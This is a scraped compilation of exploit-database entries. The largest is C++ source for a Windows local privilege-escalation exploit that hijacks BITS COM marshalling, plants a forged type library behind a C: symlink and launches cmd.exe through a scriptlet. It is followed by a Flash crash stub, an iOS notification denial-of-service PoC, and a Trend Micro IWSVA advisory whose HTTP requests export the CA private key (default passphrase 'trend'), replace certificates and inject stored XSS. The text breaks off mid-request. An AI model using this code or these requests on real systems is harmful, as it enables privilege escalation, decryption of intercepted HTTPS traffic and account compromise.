	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		*pSize = 1024;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{
		printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		IID iid = riid;
		if (iid == __uuidof(IBackgroundCopyCallback2) || iid == __uuidof(IBackgroundCopyCallback))
		{
			printf("Setting bad IID\n");
			iid = IID_ITMediaControl;
		}
		HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
		printf("Marshal Complete: %08X\n", hr);
		return hr;
	}

	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][out] */
		_Outptr_  void **ppv)
	{
		return E_NOTIMPL;
	}

	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
		/* [annotation][unique][in] */
		_In_  IStream *pStm)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
		/* [annotation][in] */
		_In_  DWORD dwReserved)
	{
		return S_OK;
	}
};

class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
	LONG m_lRefCount;

	~FakeObject() {};

public:
	//Constructor, Destructor
	FakeObject() {
		m_lRefCount = 1;
	}

	//IUnknown
	HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
	{
		if (riid == __uuidof(IUnknown))
		{
			printf("Query for IUnknown\n");
			*ppvObj = this;
		}
		else if (riid == __uuidof(IBackgroundCopyCallback2))
		{
			printf("Query for IBackgroundCopyCallback2\n");
			*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);
		}
		else if (riid == __uuidof(IBackgroundCopyCallback))
		{
			printf("Query for IBackgroundCopyCallback\n");
			*ppvObj = static_cast<IBackgroundCopyCallback*>(this);
		}
		else if (riid == __uuidof(IPersist))
		{
			printf("Query for IPersist\n");
			*ppvObj = static_cast<IPersist*>(this);
		}
		else if (riid == IID_ITMediaControl)
		{
			printf("Query for ITMediaControl\n");
			*ppvObj = static_cast<IPersist*>(this);
		}
		else
		{
			printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
			*ppvObj = NULL;
			return E_NOINTERFACE;
		}

		((IUnknown*)*ppvObj)->AddRef();
		return NOERROR;
	}

	ULONG __stdcall AddRef()
	{
		return InterlockedIncrement(&m_lRefCount);
	}

	ULONG __stdcall Release()
	{
		ULONG  ulCount = InterlockedDecrement(&m_lRefCount);

		if (0 == ulCount)
		{
			delete this;
		}

		return ulCount;
	}

	virtual HRESULT STDMETHODCALLTYPE JobTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
	{
		printf("JobTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE JobError(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
	{
		printf("JobError\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE JobModification(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ DWORD dwReserved)
	{
		printf("JobModification\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE FileTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
	{
		printf("FileTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE GetClassID(
		/* [out] */ __RPC__out CLSID *pClassID)
	{
		*pClassID = GUID_NULL;
		return S_OK;
	}
};

_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));

static HRESULT Check(HRESULT hr)
{
	if (FAILED(hr))
	{
		throw _com_error(hr);
	}
	return hr;
}

#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

typedef NTSTATUS(NTAPI* fNtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);
typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);

FARPROC GetProcAddressNT(LPCSTR lpName)
{
	return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName);
}


class ScopedHandle
{
	HANDLE _h;
public:
	ScopedHandle() : _h(nullptr)
	{
	}

	ScopedHandle(ScopedHandle&) = delete;

	ScopedHandle(ScopedHandle&& h) {
		_h = h._h;
		h._h = nullptr;
	}

	~ScopedHandle()
	{
		if (!invalid())
		{
			CloseHandle(_h);
			_h = nullptr;
		}
	}

	bool invalid() {
		return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
	}

	void set(HANDLE h)
	{
		_h = h;
	}

	HANDLE get()
	{
		return _h;
	}

	HANDLE* ptr()
	{
		return &_h;
	}


};

ScopedHandle CreateSymlink(LPCWSTR linkname, LPCWSTR targetname)
{
	fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString");
	fNtCreateSymbolicLinkObject pfNtCreateSymbolicLinkObject = (fNtCreateSymbolicLinkObject)GetProcAddressNT("NtCreateSymbolicLinkObject");

	OBJECT_ATTRIBUTES objAttr;
	UNICODE_STRING name;
	UNICODE_STRING target;

	pfRtlInitUnicodeString(&name, linkname);
	pfRtlInitUnicodeString(&target, targetname);

	InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

	ScopedHandle hLink;

	NTSTATUS status = pfNtCreateSymbolicLinkObject(hLink.ptr(), SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);
	if (status == 0)
	{
		printf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink.get());
		return hLink;
	}
	else
	{
		printf("Error creating link %ls: %08X\n", linkname, status);
		return ScopedHandle();
	}
}


bstr_t GetSystemDrive()
{
	WCHAR windows_dir[MAX_PATH] = { 0 };

	GetWindowsDirectory(windows_dir, MAX_PATH);

	windows_dir[2] = 0;

	return windows_dir;
}

bstr_t GetDeviceFromPath(LPCWSTR lpPath)
{
	WCHAR drive[3] = { 0 };
	drive[0] = lpPath[0];
	drive[1] = lpPath[1];
	drive[2] = 0;

	WCHAR device_name[MAX_PATH] = { 0 };

	if (QueryDosDevice(drive, device_name, MAX_PATH))
	{
		return device_name;
	}
	else
	{
		printf("Error getting device for %ls\n", lpPath);
		exit(1);
	}
}

bstr_t GetSystemDevice()
{
	return GetDeviceFromPath(GetSystemDrive());
}

bstr_t GetExe()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	return curr_path;
}

bstr_t GetExeDir()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	PathRemoveFileSpec(curr_path);

	return curr_path;
}

bstr_t GetCurrentPath()
{
	bstr_t curr_path = GetExeDir();

	bstr_t ret = GetDeviceFromPath(curr_path);

	ret += &curr_path.GetBSTR()[2];

	return ret;
}

void TestBits()
{
	IBackgroundCopyManagerPtr pQueueMgr;

	Check(CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
		CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)));

	IUnknownPtr pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject()));
	IUnknownPtr pInner;

	Check(CoGetStdMarshalEx(pOuter, SMEXF_SERVER, &pInner));

	IBackgroundCopyJobPtr pJob;
	GUID guidJob;
	Check(pQueueMgr->CreateJob(L"BitsAuthSample",
		BG_JOB_TYPE_DOWNLOAD,
		&guidJob,
		&pJob));
	
	IUnknownPtr pNotify;
	pNotify.Attach(new CMarshaller(pInner));
	{
		ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath());
		printf("Result: %08X\n", pJob->SetNotifyInterface(pNotify));
	}
	if (pJob)
	{
		pJob->Cancel();
	}
	printf("Done\n");
}

class CoInit
{
public:
	CoInit()
	{
		Check(CoInitialize(nullptr));
		Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr,
			RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING, nullptr));
	}

	~CoInit()
	{
		CoUninitialize();
	}
};

// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
static const GUID IID_BaseInterface =
{ 0xd487789c, 0x32a3, 0x4e22,{ 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };

// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
static const GUID TypeLib_BaseInterface =
{ 0x6c6c9f33, 0xae88, 0x4ec2,{ 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };

GUID TypeLib_Tapi3 = { 0x21d6d480,0xa88b,0x11d0,{ 0x83,0xdd,0x00,0xaa,0x00,0x3c,0xca,0xbd } };

void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
{
	DeleteFile(filename);
	ICreateTypeLib2Ptr tlb;
	Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
	tlb->SetGuid(typelib_guid);

	ITypeInfoPtr ref_type_info;
	Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));

	ICreateTypeInfoPtr create_info;
	Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
	Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
	HREFTYPE ref_type;
	Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
	Check(create_info->AddImplType(0, ref_type));
	Check(create_info->SetGuid(iid));
	Check(tlb->SaveAllChanges());
}

std::vector<BYTE> ReadFile(bstr_t path)
{
	ScopedHandle hFile;
	hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
	if (hFile.invalid())
	{
		throw _com_error(E_FAIL);
	}	
	DWORD size = GetFileSize(hFile.get(), nullptr);
	std::vector<BYTE> ret(size);
	if (size > 0)
	{
		DWORD bytes_read;
		if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
		{
			throw _com_error(E_FAIL);
		}
	}
	
	return ret;
}

void WriteFile(bstr_t path, const std::vector<BYTE> data)
{
	ScopedHandle hFile;
	hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
	if (hFile.invalid())
	{
		throw _com_error(E_FAIL);
	}
	
	if (data.size() > 0)
	{
		DWORD bytes_written;
		if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
		{
			throw _com_error(E_FAIL);
		}
	}
}

void WriteFile(bstr_t path, const char* data)
{
	const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
	std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
	WriteFile(path, data_buf);
}

void BuildTypeLibs(LPCSTR script_path)
{
	ITypeLibPtr stdole2;
	Check(LoadTypeLib(L"stdole2.tlb", &stdole2));

	printf("Building Library with path: %s\n", script_path);
	unsigned int len = strlen(script_path);

	bstr_t buf = GetExeDir() + L"\\";
	for (unsigned int i = 0; i < len; ++i)
	{
		buf += L"A";
	}

	Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
	ITypeLibPtr abc;
	Check(LoadTypeLib(buf, &abc));


	bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
	Create(built_tlb, "ITMediaControl", TypeLib_Tapi3, IID_ITMediaControl, abc, IID_BaseInterface);

	std::vector<BYTE> tlb_data = ReadFile(built_tlb);
	for (size_t i = 0; i < tlb_data.size() - len; ++i)
	{
		bool found = true;
		for (unsigned int j = 0; j < len; j++)
		{
			if (tlb_data[i + j] != 'A')
			{
				found = false;
			}
		}

		if (found)
		{
			printf("Found TLB name at offset %zu\n", i);
			memcpy(&tlb_data[i], script_path, len);
			break;
		}
	}

	CreateDirectory(GetExeDir() + L"\\Windows", nullptr);
	CreateDirectory(GetExeDir() + L"\\Windows\\System32", nullptr);

	bstr_t target_tlb = GetExeDir() + L"\\Windows\\system32\\tapi3.dll";
	WriteFile(target_tlb, tlb_data);
}

const wchar_t x[] = L"ABC";

const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
"</registration>\r\n"\
"<script language='JScript'>\r\n"\
"<![CDATA[\r\n"\
"  new ActiveXObject('Wscript.Shell').exec('";

const wchar_t scriptlet_end[] = L"');\r\n"\
"]]>\r\n"\
"</script>\r\n"\
"</component>\r\n"\
"</package>\r\n";

bstr_t CreateScriptletFile()
{
	bstr_t script_file = GetExeDir() + L"\\run.sct";
	bstr_t script_data = scriptlet_start;
	bstr_t exe_file = GetExe();
	wchar_t* p = exe_file;
	while (*p)
	{
		if (*p == '\\')
		{
			*p = '/';
		}
		p++;
	}

	DWORD session_id;
	ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
	WCHAR session_str[16];
	StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);

	script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;

	WriteFile(script_file, script_data);

	return script_file;
}

void CreateNewProcess(const wchar_t* session)
{
	DWORD session_id = wcstoul(session, nullptr, 0);
	ScopedHandle token;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
	{
		throw _com_error(E_FAIL);
	}

	ScopedHandle new_token;

	if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
	{
		throw _com_error(E_FAIL);
	}

	SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));

	STARTUPINFO start_info = {};
	start_info.cb = sizeof(start_info);
	start_info.lpDesktop = L"WinSta0\\Default";
	PROCESS_INFORMATION proc_info;
	WCHAR cmdline[] = L"cmd.exe";
	if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
		nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
	{
		CloseHandle(proc_info.hProcess);
		CloseHandle(proc_info.hThread);
	}
}

int wmain(int argc, wchar_t** argv)
{
	try
	{
		CoInit ci;
		if (argc > 1)
		{
			CreateNewProcess(argv[1]);
		}
		else
		{
			bstr_t script = L"script:" + CreateScriptletFile();
			BuildTypeLibs(script);
			TestBits();
		}
	}
	catch (const _com_error& err)
	{
		printf("Error: %ls\n", err.ErrorMessage());
	}

    return 0;
}
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1174

The attached fuzzed swf causes a crash due to heap corruption when processing the margins of a rich text field.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42018.zip
HireHackking 
# Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service
# Date: 05-15-2017
# Exploit Author: Sem Voigtländer (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton
# Vendor Homepage: https://apple.com
# Software Link: https://support.apple.com/en-us/HT207798
# Version: iOS 10.3.2
# Tested on: iOS 10.3.2 iPhone 6
# CVE : CVE-2017-6982

# We do not disclose a PoC for remote notifications.
# PoC for local notifications. (Objective-C).


defaults = [NSUserDefaults standardUserDefaults];
UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert;
UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil];
[[UIApplication sharedApplication] registerUserNotificationSettings:mySettings];

//1
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];

NSTimeInterval interval;
interval = 5; //Time here in second to respring
UILocalNotification* localNotification = [[UILocalNotification alloc] init];
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//2
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//3
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//4
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//5
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//6
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//7
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//8
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//9
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//10
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42014.zip
HireHackking 
# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities]
# Date: [12/01/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/]
# Version: [Tested on  IWSVA 6.5-SP2 Critical Patch Build 1739 and prior versions in 6.5.x series. Older versions may also be affected]
# Tested on: [IWSVA 6.5-SP2 Critical Patch Build 1739]
# CVE : [CVE-2017-6338,CVE-2017-6339,CVE-2017-6340]
# Vendor Security Bulletin: https://success.trendmicro.com/solution/1116960

==================
#Product:-
==================
Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection.

==================
#Vulnerabilities:-
==================
Multiple Incorrect Access Control,Stored Cross Site Scripting, and Sensitive Information Disclosure vulnerabilities

========================
#Vulnerability Details:-
========================

=============================================================================================================================
Sensitive Information Disclosure Vulnerability (CVE-2017-6339):-
=============================================================================================================================

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA. An attacker with low privileges can download current CA certificate and Private Key (either the default ones or uploaded by administrators) and use those to decrypt HTTPS traffic thus compromising confidentiality.
Also, the default Private Key on this appliance is encrypted with very weak and guessable passphrase ‘trend’. If an appliance uses default Certificate and Private Key provided by Trend Micro, an attacker can simply download these and decrypt the Private Key using default passphrase ‘trend’.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user.
2. Send following POST requests:

Request#1: Download 'get_current_ca_cert.cer'

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportcert HTTP/1.1 
Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: JSESSIONID=<SessionID>
Connection: close 
Upgrade-Insecure-Requests: 1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 147 

CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=


Request#2: Download 'get_current_ca_key.cer'

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportkey HTTP/1.1
Host: 192.168.253.150:1812 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: JSESSIONID=<SessionID> 
Connection: close 
Upgrade-Insecure-Requests: 1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 147 

CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=

3.Decrypt the Private Key using passphrase ‘trend’.


=============================================================================================================================
Multiple Incorrect Access Control Vulnerabilities (CVE-2017-6338):
=============================================================================================================================

#1. Missing functional level access control allows a low privileged user upload HTTPS Decryption Certificate and Private Key:
-----------------------------------------------------------------------------------------------------------------------------

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA.
An attacker with low privileges can upload new CA certificate and Private Key and use those to decrypt HTTPS traffic thus compromising confidentiality.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user ‘Test2’.
2. Send following POST request:

Request#1:

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=import HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e11fd2fd0ac0
Accept-Encoding: gzip, deflate
Content-Length: 4085
Host: 192.168.253.150:1812
Pragma: no-cache
Cookie: JSESSIONID=E595855EF5900782921945280ABA46CD
Connection: close

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="CSRFGuardToken"

S8PM5QG974XLWS992MCK5M67T6D0A575
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="op"

save
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="defaultca"
no
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_certificate"; filename="get_current_ca_cert(2).cer"
Content-Type: application/x-x509-ca-cert

-----BEGIN CERTIFICATE-----
	---snip---
-----END CERTIFICATE-----

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_key"; filename="get_current_ca_key(1).cer"
Content-Type: application/x-x509-ca-cert

-----BEGIN RSA PRIVATE KEY-----
	---snip---
-----END RSA PRIVATE KEY-----

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_passphrase"

trend
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_2passphrase"

trend
-----------------------------7e11fd2fd0ac0--

3. Above request will delete/remove existing certificates and add new one. To confirm if the certificate and private key were uploaded successfully, log in with Administrator account and download the certificate/key. These should be the ones that you uploaded.


#2. Missing functional level access control allows an authenticated user change FTP access control setting
-----------------------------------------------------------------------------------------------------------------------------
An attacker with read only rights can change ‘FTP Access Control Settings’ by sending a specially crafted POST request.

#Proof-of-Concept:

1.Log into IWSVA web console with least privilege user ‘Auditor’.
2.Send following POST request:

Request#1:

POST /ftp_clientip.jsp HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.253.150:1812/ftp_clientip.jsp
Cookie: JSESSIONID=<SessionID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
	
CSRFGuardToken=<Token>&op=save&change_op=nochanged&daemonaction=8&input_tips=40+characters+maximum&ftp__use_client_acl=yes&use_client_acl_view=yes&inputtype=ip&ip=192.168.253.133&desc=Ubuntu&itemlist=192.168.253.133+%3BUbuntu

3. This enables FTP access.
4. Log into IWSVA web console as admin from another browser and check to see if FTP Access Control List has been updated.



#3. Missing functional level access control allows an Auditor user create/modify reports
-----------------------------------------------------------------------------------------------------------------------------
An authenticated, remote attacker with ‘Auditor’ role assigned to him/her, can modify existing reports or create a new one. This user can also exploit the stored cross-site scripting vulnerability mentioned above.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user ‘Auditor’.
2. Send following POST requests:


Request#1:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=<Token>&mode=add
Content-Length: 92
Cookie: JSESSIONID=<SessionID>
Connection: close

{"action":"check_name","name":"AuditorsReport\<script\>alert(\"Hola Auditor!\")\</script\>"}


Request#2:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=<Token>&mode=add
Content-Length: 2877
Cookie: JSESSIONID=<SessionID>
Connection: close

